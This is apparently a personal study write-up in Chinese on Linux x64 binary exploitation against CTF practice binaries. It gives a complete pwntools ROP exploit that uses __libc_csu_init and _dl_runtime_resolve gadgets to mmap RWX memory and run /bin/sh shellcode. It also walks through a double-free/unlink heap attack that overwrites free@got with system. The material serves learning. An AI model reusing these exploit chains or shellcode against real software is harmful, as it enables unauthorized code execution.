目录
再次学习,链接如下:
http://wooyun.bystudent.com/static/drops/binary-10638.html
通用 gadgets part2
上次的__libc_csu_init()里面有个万能的gadgets,下面gcc默认编译进去的都可以寻找
反编译一下__libc_csu_init(),看后面
gdb-peda$ disas __libc_csu_init
这里我们并不能控制rdi和rsi,
那我们控制代码的起始解析位置,那结果就会不一样了
比如下面的,那我们就可以控制第二个参数esi了
接下来的这个就是控制edi的了
虽然只能控制低32位,但是很多时候已经够了,应该高32位也是基本全0吧
除了编译进去的,还有libc和其他库,那我们就有更多的gadgets了,
作者介绍了一个 _dl_runtime_resolve(),这个里面可以控制6个参数,那么完全够用啊(作者说的mmap和mprotect,没用过…..)
_dl_runtime_resolve是用于linux的动态绑定的,就是plt吧,就是第一次跳去解析函数的真正地址放到got中
一开始都不知道怎么反编译_dl_runtime_resolve,
main函数下断点,跑起来
gdb-peda$ b main
gdb-peda$ run
首先看看write@plt, 那个i表示instructions(指令)的缩写,就是以当前地址开始解析多少条指令了
继续查看第二个jmp,因为got表没初始化,还是跳回来push0那里,再去跳到400420那里去处理
第一个就是模块的id(就相当于给dll编个号),之前push 0是函数在这个模块的函数id
将这两个传给_dl_runtime_resolve()去解析,所以下面这个就是_dl_runtime_resolve()的地址
那现在我们就可以来反编译了
gdb-peda$ x /21i 0x00007ffff7df02f0 0x7ffff7df02f0 <_dl_runtime_resolve>:sub rsp,0x38 0x7ffff7df02f4 <_dl_runtime_resolve+4>:mov QWORD PTR [rsp],rax 0x7ffff7df02f8 <_dl_runtime_resolve+8>:mov QWORD PTR [rsp+0x8],rcx 0x7ffff7df02fd <_dl_runtime_resolve+13>:mov QWORD PTR [rsp+0x10],rdx 0x7ffff7df0302 <_dl_runtime_resolve+18>:mov QWORD PTR [rsp+0x18],rsi 0x7ffff7df0307 <_dl_runtime_resolve+23>:mov QWORD PTR [rsp+0x20],rdi 0x7ffff7df030c <_dl_runtime_resolve+28>:mov QWORD PTR [rsp+0x28],r8 0x7ffff7df0311 <_dl_runtime_resolve+33>:mov QWORD PTR [rsp+0x30],r9 0x7ffff7df0316 <_dl_runtime_resolve+38>:mov rsi,QWORD PTR [rsp+0x40] 0x7ffff7df031b <_dl_runtime_resolve+43>:mov rdi,QWORD PTR [rsp+0x38] 0x7ffff7df0320 <_dl_runtime_resolve+48>:call 0x7ffff7de9d10 <_dl_fixup> 0x7ffff7df0325 <_dl_runtime_resolve+53>:mov r11,rax 0x7ffff7df0328 <_dl_runtime_resolve+56>:mov r9,QWORD PTR [rsp+0x30] 0x7ffff7df032d <_dl_runtime_resolve+61>:mov r8,QWORD PTR [rsp+0x28] 0x7ffff7df0332 <_dl_runtime_resolve+66>:mov rdi,QWORD PTR [rsp+0x20] 0x7ffff7df0337 <_dl_runtime_resolve+71>:mov rsi,QWORD PTR [rsp+0x18] 0x7ffff7df033c <_dl_runtime_resolve+76>:mov rdx,QWORD PTR [rsp+0x10] 0x7ffff7df0341 <_dl_runtime_resolve+81>:mov rcx,QWORD PTR [rsp+0x8] 0x7ffff7df0346 <_dl_runtime_resolve+86>:mov rax,QWORD PTR [rsp] 0x7ffff7df034a <_dl_runtime_resolve+90>:add rsp,0x48 0x7ffff7df034e <_dl_runtime_resolve+94>:jmp r11 gdb-peda$
看了一下:我们要使用这个的话,必须控制rax,这样才能控制我们这个gadgets的返回值啊
我们看看libc有没有,是有的
有了这两个,那我们就很好利用了,rax传system的地址,_dl_runtime_resolve()的gadgets传参数就好,继续学习吧。。
利用mmap执行任意shellcode
确实学了这么久的rop,全是system,那么msf的shellcode有什么用呢,DEP一开就gg了,真的是这样吗,
其实可以他怎么来,我们就怎么搞嘛,你让那个没有执行权限,我将执行权加上去不行吗
作者说:可以通过mmap或者mprotect将某块内存改成RWX(可读可写可执行),然后将shellcode保存到这块内存,然后控制pc跳转过去就可以执行任意的shellcode了
还是level5,我再次用我编译的mylevel5试试吧
首先利用上一次的通用gadgets泄露出got_write和_dl_runtime_resolve的地址,payload如下,我还是使用自己mylevel5,跟作者的有点差别
接下来我们调用_dl_runtime_resolve中的gadget来调用mmap,跟着写入shellcode
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" + "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" # 0x7ffff7df0325 <_dl_runtime_resolve+53>:mov r11,rax # 0x7ffff7df0328 <_dl_runtime_resolve+56>:mov r9,QWORD PTR [rsp+0x30] # 0x7ffff7df032d <_dl_runtime_resolve+61>:mov r8,QWORD PTR [rsp+0x28] # 0x7ffff7df0332 <_dl_runtime_resolve+66>:mov rdi,QWORD PTR [rsp+0x20] # 0x7ffff7df0337 <_dl_runtime_resolve+71>:mov rsi,QWORD PTR [rsp+0x18] # 0x7ffff7df033c <_dl_runtime_resolve+76>:mov rdx,QWORD PTR [rsp+0x10] # 0x7ffff7df0341 <_dl_runtime_resolve+81>:mov rcx,QWORD PTR [rsp+0x8] # 0x7ffff7df0346 <_dl_runtime_resolve+86>:mov rax,QWORD PTR [rsp] # 0x7ffff7df034a <_dl_runtime_resolve+90>:add rsp,0x48 # 0x7ffff7df034e <_dl_runtime_resolve+94>:jmp r11 shellcode_addr = 0xbeef0000 # 调用mmap在0xbeef0000开辟一段RWX的内存 #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = "\x00"*136 #将mmap_addr函数的地址赋值给rax,等下赋值给r11,最后jmp r11 payload3 += p64(pop_rax_ret) + p64(mmap_addr) # 依次为rop gadget首地址,rax rcx rdx rsi rdi r8 r9 为什么有两个0,平衡堆栈的0x48-7*8=8*2 payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) # 写入shellcode #read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) payload3 += p64(shellcode_addr)
说一下mmap函数
void *mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0)
addr指定文件应被映射到进程空间的起始地址
len是映射到调用进程地址空间的字节数,它从被映射文件开头offset个字节开始算起。
prot参数指定共享内存的访问权限。可取如下几个值的或:PROT_READ(可读),PROT_WRITE(可写),PROT_EXEC(可执行),PROT_NONE(不可访问)。
flags由以下几个常值指定:MAP_SHARED, MAP_PRIVATE, MAP_FIXED。其中,MAP_SHARED,MAP_PRIVATE必选其一,而MAP_FIXED则不推荐使用。 如果指定为MAP_SHARED,则对映射的内存所做的修改同样影响到文件。如果是MAP_PRIVATE,则对映射的内存所做的修改仅对该进程可见,对文件没有影响。
参数fd为即将映射到进程空间的文件描述字,一般由open()返回,同时,fd可以指定为-1,此时须指定flags参数中的MAP_ANON,表明进行的是匿名映射(不涉及具体的文件名,避免了文件的创建及打开,很显然只能用于具有亲缘关系的进程间通信)。
offset参数一般设为0,表示从文件头开始映射。
为了理解深刻,查了一下常量的定义
#define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */ #define PROT_NONE 0x0 /* Page can not be accessed. */
那么上面的7,就是读写执行权限都有了
#define MAP_SHARED 0x01 /* Share changes. */ #define MAP_PRIVATE 0x02 /* Changes are private. */ #define MAP_FIXED 0x10 /* Interpret addr exactly. */ #define MAP_FILE 0 #define MAP_ANONYMOUS 0x20 /* Don't use a file. */ #define MAP_ANON MAP_ANONYMOUS #define MAP_DENYWRITE 0x0800 /* ETXTBSY */ #define MAP_FOOBAR 0x0800 /* ETXTBSY */
但是那个flag的34就不是很好理解了
最终代码:
# -*- coding: utf-8 -*- from pwn import * import pwnlib libc = ELF("./libc.so.6") elf = ELF("./mylevel5") p = process("./mylevel5") main = 0x0000000000400566 # address got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) plt_read = elf.symbols['read'] print "plt_read: " + hex(plt_read) linker_point = 0x600988 print "linker_point: " + hex(linker_point) got_pop_rax_ret = 0x00160524 print "got_pop_rax_ret: " + hex(got_pop_rax_ret) # offset off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap'] print "off_mmap_addr: " + hex(off_mmap_addr) off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret print "off_pop_rax_ret: " + hex(off_pop_rax_ret) p.recvuntil("Hello, World\n") # get write addr #write(rdi=1, rsi=write.got, rdx=8) payload1 = "\x00"*136 # rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi payload1 += p64(0x4005fa) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8) payload1 += "\x00"*56 #因为我们最后esp+8,pop了6次,所以7*8=56 payload1 += p64(main) #最后再调用main函数,继续执行漏洞函数 # raw_input() sleep(1) print "\n#############sending payload1 to get write_addr#############\n" p.send(payload1) write_addr = u64(p.recv(8)) # print u64(write_addr) print "write_addr = " + hex(write_addr) mmap_addr = write_addr - off_mmap_addr print "mmap_addr: " + hex(mmap_addr) pop_rax_ret = write_addr - off_pop_rax_ret print "pop_rax_ret: " + hex(pop_rax_ret) p.recvuntil("Hello, World\n") #write(rdi=1, rsi=linker_point, rdx=8) payload2 = "\x00"*136 # rbx rbp r12 r13(rdx)r14=rsi r15=rdi=edi payload2 += p64(0x4005fa) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(linker_point) + p64(1) # pop_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005e0) # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,edi;callq (r12+rbx*8) payload2 += "\x00"*56 #因为我们最后esp+8,pop了6次,所以7*8=56 payload2 += p64(main) #最后再调用main函数,继续执行漏洞函数 print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) linker_addr = u64(p.recv(8)) # print u64(p.recv(8)) print "linker_addr + 0x35: " + hex(int(str(linker_addr), 10) + 0x35) p.recvuntil("Hello, World\n") shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" + "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" + "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" # 0x7ffff7df0325 <_dl_runtime_resolve+53>:mov r11,rax # 0x7ffff7df0328 <_dl_runtime_resolve+56>:mov r9,QWORD PTR [rsp+0x30] # 0x7ffff7df032d <_dl_runtime_resolve+61>:mov r8,QWORD PTR [rsp+0x28] # 0x7ffff7df0332 <_dl_runtime_resolve+66>:mov rdi,QWORD PTR [rsp+0x20] # 0x7ffff7df0337 <_dl_runtime_resolve+71>:mov rsi,QWORD PTR [rsp+0x18] # 0x7ffff7df033c <_dl_runtime_resolve+76>:mov rdx,QWORD PTR [rsp+0x10] # 0x7ffff7df0341 <_dl_runtime_resolve+81>:mov rcx,QWORD PTR [rsp+0x8] # 0x7ffff7df0346 <_dl_runtime_resolve+86>:mov rax,QWORD PTR [rsp] # 0x7ffff7df034a <_dl_runtime_resolve+90>:add rsp,0x48 # 0x7ffff7df034e <_dl_runtime_resolve+94>:jmp r11 shellcode_addr = 0xbeef0000 #pwnlib.gdb.attach(p) # 调用mmap在0xbeef0000开辟一段RWX的内存 #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = "\x00"*136 #将mmap_addr函数的地址赋值给rax,等下赋值给r11,最后jmp r11 payload3 += p64(pop_rax_ret) + p64(mmap_addr) # 依次为rop gadget首地址,rax rcx rdx rsi rdi r8 r9 为什么有两个0,平衡堆栈的0x48-7*8=8*2 payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) # 写入shellcode #read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) payload3 += p64(shellcode_addr) print "\n#############sending payload3#############\n" p.send(payload3) sleep(1) p.send(shellcode+"\n") sleep(1) p.interactive()
运行结果:
堆漏洞利用之double free
Double free的意思是一个已经被free的内存块又被free了第二次。
看了作者下面这段话,有点抽象,怎么构造呢?
正常情况下,如果double free,系统会检测出该内存块已经被free过了,不能被free第二次,程序会报错然后退出。但是如果我们精心构造一个假的内存块就可骗过系统的检测,然后得到内存地址任意写的权限。随后就可以修改got表将接下来会执行的函数替换成system()再将参数改为我们想要执行的指令
由于功力不足,这里很久没学习了,就去看其他书去了,当然也不忘看堆的基础知识
感觉跟windows的很像
先打开看看吧,是一个note记事本程序,有增删改查的功能
用ida看看吧看看
新建note作者说后面没加'\0',输出的时候可以泄露更多的数据
第二个漏洞就是delete note的时候没有检测已经free过了
因为freelist的头部在bss端
下面就是 .got.plt表了
因此我们可以通过先建立两个note再删除一个note,然后再建立一个新note的方法来泄露出libc在内存中的地址:
不懂的话我们一步步学习吧
我们在新建第一个note前后下个断点吧
之后在循环等待用户输入的函数也下个断点0x400998
我们看到新建的堆的地址在这
root@kali:~/learn_rop/double free# cat /proc/3771/maps 00400000-00402000 r-xp 00000000 08:01 404556 /root/learn_rop/double free/freenote_x64 00601000-00602000 r--p 00001000 08:01 404556 /root/learn_rop/double free/freenote_x64 00602000-00603000 rw-p 00002000 08:01 404556 /root/learn_rop/double free/freenote_x64 022c3000-022e5000 rw-p 00000000 00:00 0 [heap]
我们看看freelist的头部,可以看到指向了heap段起始地址的偏移0x10字节处
我们看到freelist在heap端起始偏移0x10处
新建第一个note前
我们去看看,发现都是空的,只有第一个8字节有东西,不知道表示大小还是啥
根据代码应该是可以新建100个笔记
而且在下面发现了一个这个,先不管
先看看freelist 0x10(即偏移16)处是否为0,为0才能继续新建笔记
之后在16处置1,说明已使用了
偏移24处写入字符串长度,偏移32处写入申请到的内存的首地址
之后对偏移为8的地方+1,这个应该是记录笔记数量的
新建第一个note后
由于alsr,下面实验我的地址会变话了,因为我要打开多次
新建了第一条笔记后,可以看到笔记头用了24字节,第一个8字节表示已使用,第二个8字节表示笔记的大小
第3个8字节就是指向记录笔记的那个chunk
跟过去我们看到了笔记里面的内容,刚好0x80个0x41
新建第二个note后
看看0x80,实际加上头部,占用0x90,1表示前一个chunk已经分配了
最后的206c1是还剩多少空间吧,因为新建完第二个note就减了0x90
删除第一个note
接下来是删除第一个笔记,索引0
可以看到第一个note出现了fd和bk,还有哪个0x91最后的位置变成了0,说明前一个chunk为free
我们看看那个fd和bk
gdb告诉我们是main arena,而且这里指向的是第二个note后面的空闲的地方
再次新建一个note
这里有变占用了
而且fd的值变了
找不到 \xb8?
就在0xab9830的第一个字节,因为这里这样显示将第一个8字节逆向了
这样就好看点了
继续
跟着list note
输出的是
*(_QWORD *)(qword_6020A8 + 24LL * (signed int)i + 32)
即输出chunk的首地址指向的字符串
0x00作为结束
这里作者将地址的值字节最后一个应该是字符串结束符去掉后,再输出
这里发现输出是逆序的
再在后面加8个0,再逆序回来
leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00'))
删除两个note
先看看删除第二个note
这里大小变为0
前面也被改写了
再看看删除第一个note
长度1也变0了
同样
怎么算出来的system_sh_addr和binsh_addr:地址呢
作者公式:
system_sh_addr = leaklibcaddr - 0x3724a8 print "system_sh_addr: " + hex(system_sh_addr) binsh_addr = leaklibcaddr - 0x23e7f1 print "binsh_addr: " + hex(binsh_addr)
可以看到计算出来的值是不对的
说明作者的偏移是通过作者机器上的libc计算出来的
system地址的重新计算
后来我发现,这框住的两个地址相距是一样的
main_arena在第二个框的地址范围内
libc可执行的在第一个框范围内
再看看system函数偏移
最终算出的距离是这个
看看
果然是这样
继续
binsh地址的重新计算
看看ida搜索一下
开始计算
对了
终于获取到这两个核心的地址了
泄露堆的信息
一开始写了4个note,就算note的大小是0x10,实际也给了0x80的空间
接下来删除第一个和第3个note,可以看到前面0x10的数据被覆盖成fd和bk了
再新建一个8个A的note,因为先释放的第3个,所以这里再建就用第3个了
再list note,输出的是刚才新建一个8个A的note所在chunk的数据的首地址
由此我们可以知道这里我们最后申请的note,编号变成0了
这里我们才看到笔记后面没加'\0'的可以读出(泄露出后面的数据了)
这里就泄露出第一个chunk的地址,header的地址
最后再删除这三个note
unlink exp
先分别新建3个0x80个ABC的note,跟着再逆序delete掉
实际感觉是将数据部分完全填充,不留00
现在我们完成了:
通过泄露的libc地址我们可以计算出system()函数和"/bin/sh"字符串在内存中的地址,通过泄露的堆的地址我们能得到note table的地址。
这里好像建3个note似的
我们看看如何
新建一个note,就伪造了3个note
下一步delete_note(1),就删除伪造出来的“第二个note"
free的应该是0xab98c0,但是unlink的是0xab9830,这就不明白了,
等下重新运行程序调试看看,(由于aslr地址是发生了改变的)
我们可以看到free的参数确实是*****c0
但是改写了这里,因为free的时候
P->fd->bk = P -> bk
P->bk->fd = P -> fd
我们下个内存断点看看
下面就是
P->fd->bk = P -> bk
0x19b2018->bk = 0x00000000019b2020 ,即 *0x19b2030 = 0x00000000019b2020
还可看到_int_free 的参数
_int_free (av=0x7f9f1a98e620 <main_arena>,
p=<optimized out>, have_lock=0x0)
而且就是这两句
他们都是有rbx索引过来的
看看rbx什么时候搞的,原来你free那个0xc2d8c0,程序就获取到chunk头的地址
继续
原来是将上面和现在这个chunk合并
合并前先将前面的chunk,ulink下来再合并啊,soga
KO!!!!
最后edit了两下所以为0的笔记,
第一次因为0笔记指向ab8018
数据都写到这边来了,总共占用了0x80*3个字节
第二次再edit,edit_note(0, p64(system_sh_addr))
system的地址就写到了free_got处了,调用free就相当于调用system
可以看到已经被改写了
最后再delete_note(1),
就free(binsh_addr)
这样就执行了system(binsh_addr)
我们来看看最终结果
但gdb显示执行的是dash
而且过一阵子就会退出,不过get flag的话足够了